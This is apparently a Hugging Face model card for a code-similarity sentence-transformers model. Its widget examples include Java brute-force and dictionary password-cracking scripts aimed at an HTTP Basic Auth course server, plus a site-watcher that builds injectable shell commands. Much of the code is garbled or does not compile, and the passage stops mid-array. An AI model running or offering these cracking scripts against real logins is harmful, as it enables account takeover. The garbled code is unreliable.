metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:77328
- loss:ContrastiveLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper() {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"/dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n"
sentences:
- "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper() {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"/mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n"
- |-
import java.net.*;
import java.io.*;
import java.util.*;
public class WatchDog
{
public WatchDog()
{
}
public static void main(String[] args)
{
try
{
if( args.length != 2 )
{
System.out.println("USAGE: java WatchDog <URL> <mailing UserName>");
System.exit(0);
}
Runtime.getRuntime().exec("rm LastWatch.html");
Runtime.getRuntime().exec("rm WatchDog.ini");
Thread.sleep(1000);
while (true)
{
WatchDog myWatchDog = new WatchDog();
myWatchDog.readHTML(args[0], args[1]);
Runtime.getRuntime().exec("rm Report.txt");
Runtime.getRuntime().exec("rm diffReport.txt");
Runtime.getRuntime().exec("rm NewWatch.txt");
System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog...");
Thread.sleep(2*60*1000);
}
}
catch (Exception e)
{
e.printStackTrace();
}
}
void readHTML (String strHTML, String userName)
{
Properties myProp = loadLastMD5 ();
try
{
System.out.println("Running WatchDog \"" + strHTML + "\" ...... Please Wait....");
URL url = new URL (strHTML);
String strHost = url.getHost().toLowerCase();
Runtime r = Runtime.getRuntime();
InputStream in = url.openStream();
DataInputStream bf = new DataInputStream (in);
FileOutputStream fOut = new FileOutputStream ("Watch.html");
DataOutputStream dOut = new DataOutputStream (fOut);
Vector vtrImages = new Vector ();
while ( bf!= null)
{
String str = bf.readLine();
if (str == null)
break;
if ( str.toLowerCase().indexOf("img") > 0 )
{
int indexImg = str.toLowerCase().indexOf("img");
int indexImgUrl = str.toLowerCase().indexOf("\"", indexImg);
int indexImgUrlEnd = str.toLowerCase().indexOf("\"", indexImgUrl+1);
String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd);
if (strImage.toLowerCase().indexOf(strHost) > 0)
{
int index = strImage.toLowerCase().indexOf(strHost) + strHost.length();
strImage = strImage.toLowerCase().substring(index);
}
if (!vtrImages.contains(strImage.toLowerCase()))
vtrImages.add (strImage.toLowerCase());
}
dOut.writeBytes(str+"\n");
}
dOut.print();
fOut.print();
for (int i=0 ; i < vtrImages.size() ; i ++)
{
r.exec("wget " + strHost + vtrImages.get(i).toString().trim());
}
Thread.sleep(2000);
String [] command = {"//sh", "-c","md5sum *.* > NewWatch.txt"};
Runtime.getRuntime().exec(command);
Thread.sleep(1000);
FileInputStream fIn = new FileInputStream ("NewWatch.txt");
DataInputStream = new DataInputStream (fIn);
Properties prop = new Properties ();
while ( bf != null)
{
String str = bf.readLine();
if (str == null)
break;
int index = str.indexOf(" ");
if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase("Watch.html") )
prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase());
}
fIn.close();
int isAnyChange = GenerateChangeFile (strHTML, myProp, prop);
if (isAnyChange > 0)
{
if (isAnyChange == 2)
{
File f = new File ("LastWatch.html");
if (! f.exists())
{
f.createNewFile();
Thread.sleep(1000);
}
String [] diffCommand = {"//sh", "-c","diff Watch.html LastWatch.html > diffReport.txt"};
Runtime.getRuntime().exec(diffCommand);
Thread.sleep(2000);
FileInputStream feIn = new FileInputStream ("diffReport.txt");
DataInputStream deIn = new DataInputStream (feIn);
FileOutputStream feOut = new FileOutputStream ("Report.txt", true);
DataOutputStream deOut = new DataOutputStream (feOut);
deOut.writeBytes("\n\n\nDifferences in Target :\n\n");
while (deIn != null)
{
String str = deIn.readLine();
if (str == null)
break;
deOut.writeBytes(str + "\n");
}
deOut.print();
feOut.print();
deIn.close();
feIn.close();
}
String [] mailCommand = {"//sh", "-c","less Report.txt | mail " + userName};
Runtime.getRuntime().exec(mailCommand);
System.out.println("Mailing difference");
}
else
System.out.println(" difference detected");
Runtime.getRuntime().exec("mv Watch.html LastWatch.html");
}
catch (Exception e)
{
e.printStackTrace();
}
}
private Properties loadLastMD5 ()
{
Properties myProp = new Properties ();
try
{
myProp.load(new FileInputStream ("WatchDog.ini"));
}
catch (Exception e)
{
}
return myProp;
}
private boolean fileDownloaded (String strFile, Vector vtrImages)
{
for ( int i = 0 ; i < vtrImages.size() ; i ++ )
{
String strImage = vtrImages.get(i).toString().trim();
if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 )
return true;
}
return false;
}
private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop)
{
int change = 0;
boolean boolMainChange = false;
try
{
FileOutputStream myOut = new FileOutputStream ("WatchDog.ini");
DataOutputStream myIniOut = new DataOutputStream (myOut);
FileOutputStream fOut = new FileOutputStream ("Report.txt");
DataOutputStream dOut = new DataOutputStream (fOut);
dOut.writeBytes("Report of changes for \"" + strUrl + "\":\n\n\n\n\n");
Enumeration e = prop.keys();
while (e.hasMoreElements())
{
String file = e.nextElement().toString().toLowerCase().trim();
Runtime.getRuntime().exec("rm " + file);
myIniOut.writeBytes(file.toLowerCase() + "=" + prop.getProperty(file) + "\n");
if (myProp.containsKey(file))
{
String OldValue = myProp.getProperty(file);
String newValue = prop.getProperty(file);
if (OldValue != null && newValue != null)
{
if (!OldValue.trim().equals(newValue.trim()))
{
if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
{
dOut.writeBytes("Traget html has been changed\n");
boolMainChange = true;
}
else
dOut.writeBytes("File \"" + file + "\" has been changed\n");
change = 1;
}
}
}
else
{
if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
{
dOut.writeBytes("Target html is checked for first time\n");
boolMainChange = true;
}
else
dOut.writeBytes("File \"" + file + "\" is checked for first time and is new\n");
change = 1;
}
}
dOut.print();
fOut.print();
myIniOut.close();
myOut.close();
}
catch (Exception ex)
{
ex.printStackTrace ();
}
if (boolMainChange)
return 2;
return change;
}
}
- "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper() {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"/mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary\n{\n public static void main(String args[])\n {\n final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n String s = null;\n int num_tries = 0;\n \n try\n {\n \n BufferedReader dict_word = new BufferedReader\n (new FileReader (DICT_FILE));\n \n \n while((password = dict_word.readLine())!= null)\n { \n try \n {\n \n Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null)\n {\n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null)\n {\n System.out.println(s);\n }\n\n try\n\t {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n\n num_tries++;\n \n if((p.exitValue()) == 0) \n { \n System.out.println(\"**********PASSWORD IS: \" + password);\n\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n System.exit(1);\n }\n }\n catch (IOException e)\n {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n }\n }\n \n System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n System.out.println(\"**********Sorry, password was not found in dictionary file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException exception)\n {\n System.out.println(exception);\n }\n catch (IOException exception)\n {\n System.out.println(exception);\n }\n }\n}\n \n"
sentences:
- "\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n public static void main(String args[]) \n {\n String s = null;\n String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n \n String alphabets = new String(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n \n String password = null;\n int len = 0;\n int num_tries = 0;\n\n len = alphabets.length();\n \n \n for (int i=0; i<len; i++)\n {\n for (int j=0; j<len; j++)\n\t {\n for (int k=0; k<len; k++)\n\t {\n try \n {\n \n password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n \n System.out.print(alphabets.charAt(i)); \n System.out.print(alphabets.charAt(j)); \n System.out.println(alphabets.charAt(k)); \n\n \n Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \n BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\n \n while ((s = stdInput.readLine()) != null)\n {\n System.out.println(s);\n }\n \n \n while ((s = stdError.readLine()) != null)\n {\n System.out.println(s);\n }\n \n try\n\t\t {\n p.waitFor(); \n }\n catch (InterruptedException g) \n {\n } \n\n num_tries++;\n \n if((p.exitValue()) == 0)\n { \n System.out.println(\"**********PASSWORD IS: \" + password);\n\t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n System.exit(1);\n }\n }\n catch (IOException e)\n {\n System.out.println(\"exception happened - here's what I know: \");\n e.printStackTrace();\n System.exit(-1);\n }\n }\n }\n }\n }\n}\n\n"
- "\n\n\n\nimport java.io.*;\nimport java.net.*;\nimport java.*;\nimport java.util.*;\n\npublic class DictionaryAttack\n{\n\tpublic static void main ( String args[])\n\t{\n\t\t\n\t\tString function,pass,temp1;\n\t\tint count =0;\n\t\t\n\t\ttry{\n\t\t\t\t\n\t\tFileReader fr = new FileReader(\"words.txt\");\n\t\tBufferedReader bfread = new BufferedReader(fr);\n\n\t\tRuntime rtime = Runtime.getRuntime();\n\t\tProcess prs = null;\t\n\n\n\t\twhile(( bf = bfread.readLine()) != null)\n\t\t{\n\t\t \n\t\t\t\t\n\t\t\t\tif( f.length() < 4 )\n\t\t\t\t{\n\t\t\t\t\tSystem.out.println(+ \" The Attack Number =====>\" + count++ );\n\t\t \t\tpass = f;\n\t\t\t\t\n\t\t\t\t\tfunction =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/\";\n\t\t\t\t\tprs = rtime.exec(function);\n\t\t\t\t \n\t\t\t\t\tInputStreamReader stre = new InputStreamReader(prs.getErrorStream());\n \t\t\tBufferedReader bread = new BufferedReader(stre);\n\t\t\t\t\twhile( (temp1 = bread.readLine())!= null)\n\t\t\t\t\t{\n\t\t\t\t\t\tSystem.out.println(temp1);\n\t\t\t\t\t\tif(temp1.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n \t\t\t\t{\n\t\t\t System.out.println(\"The password has is:\"+pass);\n \t\t\t System.exit(0);\n \t\t\t\t}\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\t\t}\n\t\t\t\n\t\t\tfr.print();\n\t\t\tbfread.close();\n\t\n\t\t\t}catch(Exception e){}\n\t}\n\t\n}\t\t\t\n"
- "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[] ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n }\n\n public static void main (String args[]) {\n new BruteForce();\n }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n \n loop: for (int i=0;i<52;i++) {\n password = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength() != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) {\n\t\t \n\t System.out.println (\"Your User Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t \n\t\t\t System.exit(0);\n \n\t }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n \n } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\t }\n } \n }\n \n \n private void breakTwoLetterPassword() { \n MyHttpURLConnection httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++) {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) {\n\t System.out.println (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF extends Thread {\n \n \n \n private String passwordLetters[] ;\n private String password=\" \";\n private static String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n private URL url;\n \n BruteForce bruteForce;\n int count; \n String passBase64;\n private HttpURLConnection u;\n \n int start,stop;\n \n static boolean found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n passwordLetters,String userName,BruteForce bruteForce) {\n this.start = start;\n this.stop = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n \t password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadF)) {\n\t\t\t try { wait(1); }\n\t\t\t catch (InterruptedException e){}\n\t\t\t } \n\t\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n try { \n\t\t\t u = (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t \n\n\t\t\t\n u.connect();\n\t\t\t\t\n\t\t BruteForce.noOfAttempts++;\n\n\t\t if (u.getContentLength() != 0) {\n\n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User Name : Password is \"+password+ \n\t\t \" \"+ \" Found by Thread \"+count);\n\t\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\t\t\t\t \t \n \t\t System.exit(0);\n\n\t }\n\t\t }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException px) {px.printStackTrace();\n } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=false;\n\t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n}\n\n\nclass PasswordCrackThreadM extends Thread {\n \n \n \n private String passwordLetters[] ;\n private String password=\" \";\n private static String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n private URL url;\n String passBase64;\n private URLAuthenticator urlAuthenticator = new URLAuthenticator(userName);\n BruteForce bruteForce;\n int count; \n private HttpURLConnection u;\n \n int start,stop;\n \n static boolean found;\n \n \n \n PasswordCrackThreadM(int start,int stop,int counter,String[]\n passwordLetters,String userName,BruteForce bruteForce) {\n this.start = start;\n this.stop = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n count =counter;\n this.bruteForce=bruteForce; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n u = (HttpURLConnection)url.openConnection();\n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\n\t \n\n\t \n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n \t password=\":\"+password;\n\t\t\t\n\t \n\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadM)) {\n\t\t\t try { wait(1); }\n\t\t\t catch (InterruptedException e){}\n\t\t\t }\n\t\t\t \n\t\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n try { u = (HttpURLConnection)url.openConnection();\n\t\t\t \n passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t \n\n\t\t\t\n u.connect();\n BruteForce.noOfAttempts++;\n\t\t \n\t\t if (u.getContentLength() != 0) {\n\t\t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User Name : Password is \"+password+ \n\t\t \" \"+ \" Found by Thread \"+count);\n\t\t\t\t \t \n\t\t\t\t\t \n\t\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n \t\t System.exit(0);\n\n\t }\n\t\t }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException px) {px.printStackTrace();\n } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator extends Authenticator {\n private String uName;\n String passwd;\n static char[] password;\n public URLAuthenticator(String uName) {\n\n this.uName = uName;\n }\n\n public void setPassword(String passwd) {\n\n\t this.passwd=passwd;\n\t password=passwd.toCharArray();\n\n }\n \n public PasswordAuthentication getPasswordAuthentication() {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n public void disconnect() {\n }\n\n public boolean usingProxy() {\n return true;\n }\n public void connect() {\n }\n\n}\n\n"
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\nimport java.net.HttpURLConnection;\n\n\npublic class BruteForce \n{\n String uname = \"\";\n String pword = \"null\";\n Vector v = new Vector();\n int runTime;\n \n public void doConnect(String connect, int num)\n {\n \n String cad = connect;\n \n try\n {\n URL secureSite = new URL();\n URLConnection connection = secureSite.openConnection();\n\t \n if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num; i<v.size(); i++)\n\t {\n\t pword = (String)v.elementAt(i);\n\t String up = uname + \":\" + pword;\n String encoding;\n try\n\t\t{\n\t\t secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder) Class.forName(\".misc.BASE64Encoder\").newInstance();\n encoding = encoder.encode (up.getBytes());\n }\n\t catch (Exception ex) \n {\n\t\t Base64Converter encoder = new Base64Converter();\n encoding = encoder.encode(up.getBytes());\n }\n\t connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n connection.connect();\n if(connection instanceof HttpURLConnection)\n\t {\n\t HttpURLConnection httpCon=(HttpURLConnection)connection;\n if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\t\t {\n\t\t System.out.println(\"Not authorized - check for details\" + \" -Incorrect Password : \" + pword);\n\t\t httpCon.disconnect();\n\t doConnect(uname, i+1);\n\t }\n\t\telse\n\t\t { \n\t\t System.out.println(\"\\n\\n\\nPassword for HTTP Secure Site By BruteForce Attack\");\n System.out.println( +\"\\tPassword : \"+ pword);\n\t \n runTime = System.currentTimeMillis() - runTime; \n System.out.println(\"Time taken crack password (in seconds)\"+\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken crack password : \"+ i);\n\t System.exit(0);\n\t }\n\t }\n\t }\n }\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n }\n }\n public Vector getPassword()\n {\n try\n {\n makePasswords mp = new makePasswords();\n mp.makePass();\n\tmp.loadFile();\n v = mp.getVector();\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n }\n return v;\n }\n public void setTimeTaken( int time_taken)\n {\n runTime = time_taken;\n } \n public static void main( String args[] ) throws IOException \n {\n \n try\n {\n runTime1 = System.currentTimeMillis(); \n BruteForce newDo = new BruteForce();\n newDo.setTimeTaken(runTime1);\n newDo.getPassword();\n String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n newDo.doConnect(site, 0);\n }catch(Exception ex)\n {\n System.out.println(\"Errrrrrrr\");\n }\n \n\n } \n \n}\n\nclass Base64Converter\n {\n \n public final char [ ] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7', '8', '9', '+', '/' }; \n \n \n public String encode ( String s )\n {\n return encode ( s.getBytes ( ) );\n }\n \n public String encode ( byte [ ] octetString )\n {\n int bits24;\n int bits6;\n \n char [ ] out\n = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n \n int outIndex = 0;\n int i = 0;\n \n while ( ( i + 3 ) <= octetString.length ) {\n \n bits24=( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n \n bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6 ];\n }\n \n if ( octetString.length - i == 2 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++ ] = '=';\n }\n else if ( octetString.length - i == 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ 